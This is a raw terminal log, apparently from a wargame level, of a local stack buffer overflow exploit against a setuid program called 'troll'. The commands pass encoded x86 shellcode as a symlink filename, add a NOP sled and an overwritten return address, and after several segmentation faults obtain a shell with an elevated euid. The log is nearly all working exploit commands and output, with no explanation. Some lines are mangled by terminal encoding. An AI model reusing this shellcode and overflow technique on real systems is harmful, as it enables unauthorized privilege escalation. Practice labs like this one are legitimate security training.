[orge@localhost orge]$ ln -s ./troll `perl -e 'print "\xeb\x11\x5e\x31\xc9\xb1\x32\x80\x6c\x0e\xff\x01\x80\xe9\x01\x75\xf6\xeb\x05\xe8\xea\xff\xff\xff\x32\xc1\x51\x69\x30\x30\x74\x69\x69\x30\x63\x6a\x6f\x8a\xe4\x51\x54\x8a\xe2\x9a\xb1\x0c\xce\x81"'`
ln: ?^12l?u楕凹2핽i00tii0cjo??T??
귁?: File exists
[orge@localhost orge]$ rm ./`perl -e 'print "\xeb\x11\x5e\x31\xc9\xb1\x32\x80\x6c\x0e\xff\x01\x80\xe9\x01\x75\xf6\xeb\x05\xe8\xea\xff\xff\xff\x32\xc1\x51\x69\x30\x30\x74\x69\x69\x30\x63\x6a\x6f\x8a\xe4\x51\x54\x8a\xe2\x9a\xb1\x0c\xce\x81"'`
[orge@localhost orge]$ ln -s ./troll `perl -e 'print "\xeb\x11\x5e\x31\xc9\xb1\x32\x80\x6c\x0e\xff\x01\x80\xe9\x01\x75\xf6\xeb\x05\xe8\xea\xff\xff\xff\x32\xc1\x51\x69\x30\x30\x74\x69\x69\x30\x63\x6a\x6f\x8a\xe4\x51\x54\x8a\xe2\x9a\xb1\x0c\xce\x81"'`
[orge@localhost orge]$ ././`perl -e 'print "\xeb\x11\x5e\x31\xc9\xb1\x32\x80\x6c\x0e\xff\x01\x80\xe9\x01\x75\xf6\xeb\x05\xe8\xea\xff\xff\xff\x32\xc1\x51\x69\x30\x30\x74\x69\x69\x30\x63\x6a\x6f\x8a\xe4\x51\x54\x8a\xe2\x9a\xb1\x0c\xce\x81"'` `perl -e 'print "\x90"x44, "\xb8\xfb\xff\xbf"'`
????????????????????????????????????????????뫈
Segmentation fault
[orge@localhost orge]$ ././`perl -e 'print "\xeb\x11\x5e\x31\xc9\xb1\x32\x80\x6c\x0e\xff\x01\x80\xe9\x01\x75\xf6\xeb\x05\xe8\xea\xff\xff\xff\x32\xc1\x51\x69\x30\x30\x74\x69\x69\x30\x63\x6a\x6f\x8a\xe4\x51\x54\x8a\xe2\x9a\xb1\x0c\xce\x81"'` `perl -e 'print "\x90"x44, "\xbㅁ\xfb\xff\xbf"'`
stack is still your friend.
[orge@localhost orge]$ ././`perl -e 'print "\xeb\x11\x5e\x31\xc9\xb1\x32\x80\x6c\x0e\xff\x01\x80\xe9\x01\x75\xf6\xeb\x05\xe8\xea\xff\xff\xff\x32\xc1\x51\x69\x30\x30\x74\x69\x69\x30\x6a\x6f\x8a\xe4\x51\x54\x8a\xe2\x9a\xb1\x0c\xce\x81"'` `perl -e 'print "\x90"x44, "\xba\xfb\xffb\xff\xbf"'`
????????????????????????????????????????????빛
Segmentation fault
[orge@localhost orge]$ ././`perl -e 'print "\xeb\x11\x5e\x31\xc9\xb1\x32\x80\x6c\x0e\xff\x01\x80\xe9\x01\x75\xf6\xeb\x05\xe8\xea\xff\xff\xff\x32\xc1\x51\x69\x30\x30\x74\x69\x69\x30\x63\x6a\x6f\x8a\xe4\x51\x54\x8a\xe2\x9a\xb1\x0c\xce\x81"'` `perl -e 'print "\x90"x44, "\xb8\xfb\xff\xbf"'`
????????????????????????????????????????????뫈
Segmentation fault
[orge@localhost orge]$ ./`perl -e 'print "\xeb\x11\x5e\x31\xc9\xb1\x32\x80\x6c\x0e\xff\x01\x80\xe9\x01\x75\xf6\xeb\x05\xe8\xea\xff\xff\xff\x32\xc1\x51\x69\x30\x30\x74\x69\x69\x30\x63\x6a\x6f\x8a\xe4\x51\x54\x8a\xe2\x9a\xb1\x0c\xce\x81"'` `perl -e 'print "\x90"x44, "\xb8\xfb\xff\xbf"'`
????????????????????????????????????????????뫈
bash$ my-pass
euid = 508